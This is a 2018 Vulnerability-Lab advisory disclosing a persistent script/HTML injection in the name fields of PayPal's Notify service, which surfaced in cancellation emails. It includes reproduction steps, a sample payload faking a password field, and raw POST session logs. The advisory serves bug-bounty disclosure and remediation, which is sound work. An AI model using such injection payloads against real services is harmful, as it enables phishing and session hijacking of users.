PayPal (Notify) - Bypass & Persistent Web Vulnerability

2018-06-22T00:00:00
ID VULNERLAB:1640
Type vulnerlab
Reporter Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.
Modified 2018-06-22T00:00:00

Description

                                        
                                            Document Title:
===============
PayPal (Notify) - Bypass & Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1640

Video: http://www.vulnerability-lab.com/get_content.php?id=1639


Release Date:
=============
2018-06-22


Vulnerability Laboratory ID (VL-ID):
====================================
1640


Common Vulnerability Scoring System:
====================================
4.1


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
PayPal is a global e-commerce business allowing payments and money transfers to be made through the Internet. Online money 
transfers serve as electronic alternatives to paying with traditional paper methods, such as checks and money orders. Originally, 
a PayPal account could be funded with an electronic debit from a bank account or by a credit card at the payer s choice. But some 
time in 2010 or early 2011, PayPal began to require a verified bank account after the account holder exceeded a predetermined 
spending limit. After that point, PayPal will attempt to take funds for a purchase from funding sources according to a specified 
funding hierarchy. If you set one of the funding sources as Primary, it will default to that, within that level of the hierarchy 
(for example, if your credit card ending in 4567 is set as the Primary over 1234, it will still attempt to pay money out of your 
PayPal balance, before it attempts to charge your credit card). The funding hierarchy is a balance in the PayPal account; a 
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master Card or Bill Me Later (if selected as primary 
funding source) (It can bypass the Balance); a verified bank account; other funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal, establish their own PayPal deposit account or request 
a transfer to their bank account.

PayPal is an acquirer, performing payment processing for online vendors, auction sites, and other commercial users, for which it 
charges a fee. It may also charge a fee for receiving money, proportional to the amount received. The fees depend on the currency 
used, the payment option used, the country of the sender, the country of the recipient, the amount sent and the recipient s account 
type. In addition, eBay purchases made by credit card through PayPal may incur extra fees if the buyer and seller use different currencies.

(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]



Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an application-side input validation web vulnerability in the official PayPal Inc Notify online service web-application.


Vulnerability Disclosure Timeline:
==================================
2018-06-22: Public Disclosure (Vulnerability Laboratory - Shared Customer Research Feed)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
No authentication (guest)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Bug Bounty Program


Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in the official PayPal Inc Notify online service web-application.
The vulnerbaility allows remote attackers to inject malicious script codes on the application-side of the affected online service module.

The vulnerability is located in the firstname and lastname input fields of the paypal notify registration formular. Remote attackers are able 
to register an account with malicious script codes as firstname and lastname to compromise the affected module. The request method to inject 
is POST and the attack vector of the vulnerability is located on the application-side of the vulnerable module. The remote attacker injects a 
payload as name value to execute the code in the account cancel notify email.

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.1. 
Exploitation of the application-side validation web vulnerability requires a low privileged web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources 
and persistent manipulation of affected or connected service module context.

Request Method(s):
[+] [POST]

Vulnerable Domain(s):
[+] PayPal Inc - Notify (www.paypal-notify.com)

Vulnerable Module(s):
[+] ./account/view

Vulnerable Parameter(s):
[+] firstname
[+] lastname

Affected Module(s):
[+] Notification Account Transfer Cancelled (Form Page & eMail)


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attacker with low privilege web-application user account and low or medium user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Create account with name have a code payload  ( https://www.paypal-notify.com/)
First Name: <input type=txt><br><input type=password> 
Last Name: <h1>tested by VulnerabilityLabs<h1>
2. Go to  Account Options > Transfer Account Admin https://www.paypal-notify.com/account/transfer?type=initiate and i send request to victim email  and also cancel 
3. When the victim will open the mail will get mail with injected code html the payload code  from email: noreply@paypal.com


PoC: Exploitation
style="font-size: 16px; font-weight: bold; color: #ca802e;">Notification							
Account Transfer Cancelled</td>
</tr>
<tr>
<td align="left" style="font-size: 13px; padding-bottom: 20px;"valign="top"><input type=txt><br><input type=password> 
<h1>[PERSISTENT INJECTED SCRIPT CODE EXECUTION VIA NAME VALUES!]tested by VulnerabilityLabs<h1> has 
</tr>


--- PoC Session Logs [POST] ---
Status: 302[Moved Temporarily]
POST https://www.paypal-notify.com/account/view
Content Size[0] 
Mime Type[text/plain]
   Request Headers:
      Host[www.paypal-notify.com]
      User-Agent[Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:41.0) Gecko/20100101 Firefox/41.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Referer[https://www.paypal-notify.com/account/view?event_time_detail_display_format=MM%2Fdd%2Fyy+hh%3Amm+a&locale=en_US&lang=en_US&localeStr=en_US&event_date_format=MM%2Fdd%2Fyyyy&dirLtrRtl=ltr&langName=en&event_date_home_display_format=MMM+dd+yyyy&npUserName=%3Cinput+type%3Dtxt%3E%3Cbr%3E%3Cinput+type%3Dpassword%3E++VulnerabilityLabs&
event_date_detail_display_format=MM%2Fdd&datepicker_ui_date_format=mm%2Fdd%2Fyy]
      Cookie[np.timeZone=Africa/Lagos; s_pers=%20s_fid%3D5CE9C204FB184184-1C9C25BC5A0AEFFE%7C1510314493034%3B%20gpv_c43%3Dpaypal-notify%253Asubscriber%253Aaccount%253A%253Amanage%7C1447157893037%3B%20
gpv_events%3Dno%2520value%7C1447157893045%3B; JSESSIONID=874EF84F0FE5376A2F516BF24270883A.loadbalancer_ui_worker; np.lang=en_US; locale=en_US; 
s_sess=%20s_cc%3Dtrue%3B%20tr_p1%3Dpaypal-notify%253Asubscriber%253Aaccount%253A%253Amanage%257E%255B1%255D%3B%20lt%3D%3B%20s_sq%3D%3B%20s_ppv%3D83%3B%20v31%3DD%253DpageName%3B; 
np.timeZone=Africa/Lagos; tcs=paypal-notify%3Asubscriber%3Aaccount%3A%3Amanage%7CeditLastName]
      Connection[keep-alive]
   Post Data:
      firstName[%3Cinput+type%3Dtxt%3E%3Cbr%3E%3Cinput+type%3Dpassword%3E+[PERSISTENT INJECTED SCRIPT CODE VIA NAME VALUES!]]
      edit_acct[first_Name]
      lastName[%3Ch1%3Etested+by+VulnerabilityLabs%3Ch1%3E[PERSISTENT INJECTED SCRIPT CODE VIA NAME VALUES!]]
      edit_acct[last_Name]
      tos[]
      merchantName[tester]
      edit[1]
      token[bbfb8afb-d321-4139-8a69-f0b1f7b6f3db]
   Response Headers:
      Server[Apache]
      Set-Cookie[locale=en_US; Path=/]
      Location[https://www.paypal-notify.com/account/view?event_time_detail_display_format=MM%2Fdd%2Fyy+hh%3Amm+a&locale=en_US&lang=en_US&localeStr=en_US&
event_date_format=MM%2Fdd%2Fyyyy&dirLtrRtl=ltr&langName=en&event_date_home_display_format=MMM+dd+yyyy&
npUserName=%3Cinput+type%3Dtxt%3E%3Cbr%3E%3Cinput+type%3Dpassword%3E++%3Ch1%3Etested+by+VulnerabilityLabs%3Ch1%3E&event_date_detail_display_format=MM%2Fdd&
datepicker_ui_date_format=mm%2Fdd%2Fyy]
      Content-Language[en-US]
      Content-Length[0]
      Keep-Alive[timeout=15, max=100]
      Connection[Keep-Alive]
      Content-Type[text/plain; charset=UTF-8]


Reference(s):
https://www.paypal-notify.com/
https://www.paypal-notify.com/account/
https://www.paypal-notify.com/account/view


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname and lastname input fields of the paypal notify service.
Restrict the input and disallow special chars. Setup an own exception-handling to prevent the execution point in the output section of the paypal service.

The issue has been reported in the first qarter of 2017 and was finally resolved by the paypal developer team during the 
1st and second qarter of 2017. The disclosure process took about 12 months at all.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the paypal notify framework is estimated as medium (CVSS 4.1).


Credits & Authors:
==================
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, 
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. 

Domains:    www.vulnerability-lab.com		- www.vulnerability-db.com					- www.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.

				    Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™